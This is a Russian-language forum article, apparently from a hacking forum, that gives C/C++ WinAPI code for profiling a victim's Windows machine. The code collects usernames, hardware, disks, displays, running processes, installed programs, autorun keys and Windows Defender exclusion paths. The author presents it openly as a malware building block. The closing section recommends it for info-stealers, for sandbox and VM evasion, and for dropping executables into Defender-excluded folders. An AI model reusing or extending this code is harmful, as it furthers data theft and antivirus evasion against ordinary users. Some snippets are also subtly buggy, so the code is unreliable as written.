Статья [C/C++] Сбор информации о системе.

[Admin]

[C/C++] Сбор информации о системе.​

​

Порой при разработке malware продукта у кодера возникает задача - собрать информацию о конфигурации системы. В данной статье мы поговорим как раз об этом.

Первое, что нам нужно - получить юзернейм пользователя и имя компьютера:

LPCSTR getUsername()
{
char *username = new char[MAX_PATH]{'\0'};
DWORD size = MAX_PATH;
GetUserName(username, &size);
return username;
}

LPCSTR getPCName()
{
char *pcName = new char[MAX_PATH]{'\0'};
DWORD size = MAX_PATH;
GetComputerName(pcName, &size);
return pcName;
}

Здесь все достаточно просто - в WinAPI уже есть функции, которые возвращают эти значения.
Далее мы хотим узнать, сколько оперативной памяти доступно в системе и какой процессор:

LPCSTR getCPUName()
{
int cpuInfo[4] = {0, 0, 0, 0};
__cpuid(cpuInfo, 0x80000002);
char *cpuBrand = new char[48]{'\0'};
memcpy(cpuBrand, cpuInfo, sizeof(cpuInfo));
return (LPCSTR)cpuBrand;
}

DWORDLONG getRAMSize()
{
MEMORYSTATUSEX memInfo;
memInfo.dwLength = sizeof(MEMORYSTATUSEX);
GlobalMemoryStatusEx(&memInfo);
return memInfo.ullTotalPhys;
}

Опять же, никаких трудностей. С помощью __cpuid мы можем получить модель процессора, а GlobalMemoryStatusEx возвращает информацию об оперативной памяти.

Можем получить основной язык операционной системы:

LANGID getLangID()
{
LCID lcid = GetSystemDefaultLCID();
LANGID langId = PRIMARYLANGID(lcid);
return langId;
}

Тут мы получаем LANGID (он же WORD) - идентификатор языка системы Windows. На MSDN можно скачать .pdf файл, где описаны идентификаторы и языки, к которым они принадлежат.

Получаем время работы (uptime) системы в секундах:

DWORD getUptimeInSeconds()
{
return GetTickCount64() / 1000;
}

Функция GetTickCount64 возвращает uptime в миллисекундах, поэтому делим на 1000, чтобы получить значение в секундах.

Получаем информацию о разделах диска:

LPCSTR getDisksInfo()
{
LPCSTR disks_info = new char[1024]{'\0'};
DWORD drives = GetLogicalDrives();
for (char drive = 'A'; drive <= 'Z'; drive++)
{
if (drives & 1 << (drive - 'A'))
{
char drive_name[4] = {drive, ':', '\\', '\0'};
ULARGE_INTEGER FreeBytesAvailable = {0};
ULARGE_INTEGER TotalNumberOfBytes = {0};
ULARGE_INTEGER TotalNumberOfFreeBytes = {0};
if (GetDiskFreeSpaceExA(drive_name, &FreeBytesAvailable, &TotalNumberOfBytes, &TotalNumberOfFreeBytes))
{
unsigned long long freeAvail = FreeBytesAvailable.QuadPart;
unsigned long long total = TotalNumberOfBytes.QuadPart;
unsigned long long totalfree = TotalNumberOfFreeBytes.QuadPart;
char infoBuf[1024] = {'\0'};
sprintf(infoBuf, "%s %llu MB free, %llu MB total; \t", drive_name, freeAvail / 1024 / 1024, total / 1024 / 1024);
strcat((char *)disks_info, infoBuf);
}
}
}
return disks_info;
}

Функция GetLogicalDrives возвращает маску, с помощью которой можно определить, какие диски доступны в системе. Маску используем в цикле, перебирающем буквы алфавита. GetDiskFreeSpaceExA позволяет узнать полный объем диска, а также количество свободного пространства.

Чтобы обнаружить GPU, можно воспользоваться d3d9.h:

LPCSTR getGPUName()
{
IDirect3D9 *d3d = Direct3DCreate9(D3D_SDK_VERSION);
if (d3d)
{
D3DADAPTER_IDENTIFIER9 adapter;
if (SUCCEEDED(d3d->GetAdapterIdentifier(D3DADAPTER_DEFAULT, 0, &adapter)))
{
char *name = new char[sizeof(adapter.Description)]{'\0'};
memcpy(name, adapter.Description, sizeof(adapter.Description));
return name;
}
d3d->Release();
}
return nullptr;
}

Функция getGPUName вернет модель GPU или nullptr, если GPU не обнаружено.

Получим информацию о дисплеях:

LPCSTR getDisplayInfo()
{
int monitorCount = GetSystemMetrics(SM_CMONITORS);

LPCSTR monitorsInfo = new char[1024]{'\0'};
DISPLAY_DEVICE displayDevice;
ZeroMemory(&displayDevice, sizeof(displayDevice));
displayDevice.cb = sizeof(displayDevice);

int deviceIndex = 0;
while (EnumDisplayDevices(NULL, deviceIndex, &displayDevice, 0))
{
if (!(displayDevice.StateFlags & DISPLAY_DEVICE_MIRRORING_DRIVER))
{
DEVMODE devMode;
ZeroMemory(&devMode, sizeof(devMode));
devMode.dmSize = sizeof(devMode);

if (EnumDisplaySettings(displayDevice.DeviceName, ENUM_CURRENT_SETTINGS, &devMode))
{
char buf[1024] = {'\0'};
sprintf_s(buf, "%s: %dx%d, %dHz\t", displayDevice.DeviceName, devMode.dmPelsWidth, devMode.dmPelsHeight, devMode.dmDisplayFrequency);
strcat_s((char *)monitorsInfo, 1024, buf);
}
}
deviceIndex++;
}

return monitorsInfo;
}

Функция вернет разрешения дисплеев и их частоту обновления.

Вернем все процессы, которые запущены в системе на данный момент:

LPCSTR getRunningProcesses()
{
LPCSTR processes = new char[4096]{'\0'};
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(snapshot, &entry))
{
do
{
char buf[1024] = {'\0'};
DWORD bufLen = sprintf_s(buf, "%s\t", entry.szExeFile);
strcat((char *)processes, buf);
} while (Process32Next(snapshot, &entry));
}
CloseHandle(snapshot);
return processes;
}

Тут итерируем сквозь все процессы и записываем имена .exe файлов в буфер.

Очень много полезной информации может содержаться в реестре Windows. Напишем функцию для чтения:

LPCSTR readRegistry(HKEY reg, char *subKey, char *valueName)
{
HKEY phkResult = NULL;

if (RegOpenKeyExA(reg, subKey, 0, KEY_READ, &phkResult) == ERROR_SUCCESS)
{
LPCSTR totalData = new char[2048]{'\0'};
DWORD dwIndex = 0;
LPSTR szValueName = new char[MAX_PATH]{'\0'};
DWORD dwValueNameLen = MAX_PATH;
BYTE *lpData = new BYTE[MAX_DATA_LEN]{'\0'};
DWORD lpDataLen = MAX_DATA_LEN;

while (RegEnumValueA(phkResult, dwIndex, szValueName, &dwValueNameLen, NULL, NULL, lpData, &lpDataLen) == ERROR_SUCCESS)
{
if ((valueName != nullptr && strcmp(szValueName, valueName) == 0) || valueName == nullptr)
{
char buf[1024] = {'\0'};
sprintf_s(buf, "Name: %s; Value: %s\t", szValueName, lpData);
strcat((char *)totalData, buf);
}
ZeroMemory((void *)szValueName, MAX_PATH);
ZeroMemory(lpData, MAX_DATA_LEN);
dwValueNameLen = MAX_PATH;
lpDataLen = MAX_DATA_LEN;
dwIndex++;
}
RegCloseKey(phkResult);
return totalData;
}

return nullptr;
}

Функция readRegistry возвращает пары вида параметр-значение.
На вход принимаются следующие параметры:
- reg : раздел реестра, откуда хотим считать информацию (к примеру - HKEY_LOCAL_MACHINE)
- subKey : строка-путь до интересующего нас ключа
- valueName : имя параметра, который нужно получить. Если valueName == nullptr, функция вернет все параметры и их значения из указанного ключа.

Что же можно получить из реестра? Вот примеры:

LPCSTR getCPUNameRegistry()
{
// получаем модель CPU
return readRegistry(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", "ProcessorNameString");
}

LPCSTR getRun()
{
// получаем список программ, которые запускаются вместе с системой
return readRegistry(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
}

LPCSTR getWindowsBuild()
{
// получаем номер сборки Windows
return readRegistry(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "CurrentBuildNumber");
}

LPCSTR getWinDefExclusions()
{
// получаем пути исключений Windows Defender
return readRegistry(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths");
}

LPCSTR getWindowsEdition()
{
// получаем издание Windows
return readRegistry(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "EditionID");
}

LPCSTR getTimezone()
{
// получаем часовой пояс
return readRegistry(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", "StandardName");
}

LPCSTR getMotherboardInfo()
{
// получаем модель материнской платы
return readRegistry(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\BIOS", "BaseBoardProduct");
}

Будьте внимательны, чтение некоторых ключей из реестра требуют прав администратора.

Можно считать определенные ключи реестра, чтобы получить список установленных в системе программ:

LPCSTR getInstalledPrograms()
{

HKEY hKey;
LONG result = RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", 0, KEY_READ, &hKey);
if (result == ERROR_SUCCESS)
{
LPCSTR totalData = new char[4096]{'\0'};
DWORD index = 0;
CHAR keyName[MAX_PATH];
DWORD keyNameSize = MAX_PATH;
while (RegEnumKeyExA(hKey, index, keyName, &keyNameSize, NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
{
HKEY subKey;
if (RegOpenKeyExA(hKey, keyName, 0, KEY_READ, &subKey) == ERROR_SUCCESS)
{
CHAR displayName[MAX_PATH];
DWORD displayNameSize = MAX_PATH;
DWORD type;
if (RegQueryValueExA(subKey, "DisplayName", NULL, &type, (LPBYTE)displayName, &displayNameSize) == ERROR_SUCCESS)
{
char buf[1024] = {'\0'};
sprintf_s(buf, "%s\t", displayName);
strcat_s((char *)totalData, 4096, buf);
}
RegCloseKey(subKey);
}
keyNameSize = MAX_PATH;
index++;
}
return totalData;
RegCloseKey(hKey);
}
return nullptr;
}

Где это может быть полезно?

- В стилерах. тут все итак понятно.
- В обходе песочниц и виртуальных машин. Некоторые песочницы можно обнаружить по ключевым признакам. Большинство виртуальных машин можно обнаружить по присутствию определенных ключей в реестре. Если условия совпали (мы находимся в виртуалке или песочнице) - выходим из процесса
- В file-based лодырях. Из реестра получаем путь одного из исключений windef - и дропаем исполняемый файл по этому пути (это в теории, и по любому нужны права администратора)

На этом все, о чем я хотел рассказать. Это моя первая статья, так что просьба особо не придираться к ее оформлению. Исходный код можете скачать в прикрепленном файле (из main функции запускаются все проверки, приведенные выше).